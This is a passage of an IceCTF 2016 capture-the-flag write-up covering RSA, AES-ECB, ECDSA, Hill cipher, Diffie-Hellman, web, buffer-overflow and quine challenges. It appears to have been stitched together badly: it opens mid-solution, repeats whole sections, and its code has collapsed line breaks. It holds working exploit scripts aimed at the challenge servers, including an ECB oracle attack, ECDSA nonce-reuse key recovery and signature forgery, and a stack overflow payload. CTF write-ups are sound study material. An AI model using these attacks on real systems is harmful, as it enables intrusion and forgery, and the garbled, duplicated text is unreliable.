N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
